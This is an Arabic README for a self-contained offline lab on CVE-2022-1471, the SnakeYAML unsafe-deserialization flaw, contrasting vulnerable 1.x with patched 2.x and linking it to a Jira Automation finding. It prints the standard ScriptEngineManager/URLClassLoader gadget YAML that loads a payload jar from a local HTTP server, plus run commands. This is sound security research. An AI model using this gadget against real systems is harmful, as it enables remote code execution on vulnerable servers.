
مختبر دون اتصال لـ CVE-2022-1471: إلغاء تسلسل غير آمن في SnakeYAML يؤدي إلى RCE؛ يقارن الإصدار 1.x الضعيف بالإصدار 2.x المُصحح باستخدام حمولة محلية غير ضارة.
مختبر غير متصل بالإنترنت ومكتفٍ ذاتيًا يثبت الآلية الكامنة وراء CVE-2022-1471 (إلغاء تسلسل غير آمن في SnakeYAML ← RCE، بتقييم CVSS 9.8)، وهي الآلية نفسها المستخدمة في اكتشاف Jira / Jira Service Management على مضيف يعمل بالإصدار 9.4.9 (النطاق المتأثر 9.4.0–9.4.12، أُصلح في 9.4.14 — راجع JSDSERVER-14906 من أطلاسيان).
يُظهر المختبر أمرين بالضبط:
ConstructorException) — لا يتم تنفيذ أي شيء.إنه لا يستغل أي مضيف مباشر. يعمل كل شيء على 127.0.0.1؛ الحمولة (src/Exploit.java) غير ضارة — المُهيّئ الثابت بها يكتب ملفًا نصيًا واحدًا ولا شيء غير ذلك.
./run.sh
cat PWNED-proof.txt # on-disk proof of execution (regenerated each run)
يتطلب JDK 17+ على PATH (javac, java, jar). إذا وُجد JDK مرفق داخل tools/، فسيتم استخدامه بدلاً من ذلك. حركة الشبكة الوحيدة هي خادم HTTP محلي على 127.0.0.1:8077 لتقديم ملف الحمولة jar، ويُقتل عند الخروج.
src/VulnDemo.java هو مجرد new Yaml().load(yaml) — نفس الاستدعاء غير الآمن الذي تقوم به إصدارات Automation for Jira الضعيفة على YAML للقواعد المستوردة. YAML الخاص بالمهاجم هو الغادجت القياسي:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8077/payload.jar"]
]]
]
SnakeYAML 1.x يُنشئ فئات عشوائية بدون قائمة سماح ← يجلب JVM فئة من خادم «المهاجم» ويحمّلها ← يتم تنفيذ المُهيّئ الثابت بها. أما SnakeYAML 2.x فيعتمد افتراضيًا على SafeConstructor، الذي يرفض الوسم العام.
يعرض sample-output-PWNED-proof.txt محتوى ملف العلامة من إحدى التشغيلات؛ ويعرض screenshots/ كلتا التشغيلتين (الضعيفة مقابل المُصلحة).
بحث أمني مصرّح به. إثبات لآلية المكتبة وحدود الإصلاح فقط — وليس استغلالًا ضد أي نظام إنتاج. كما يتطلب استغلال ناقل Jira استيراد قاعدة أتمتة بمصادقة (مسؤول Jira).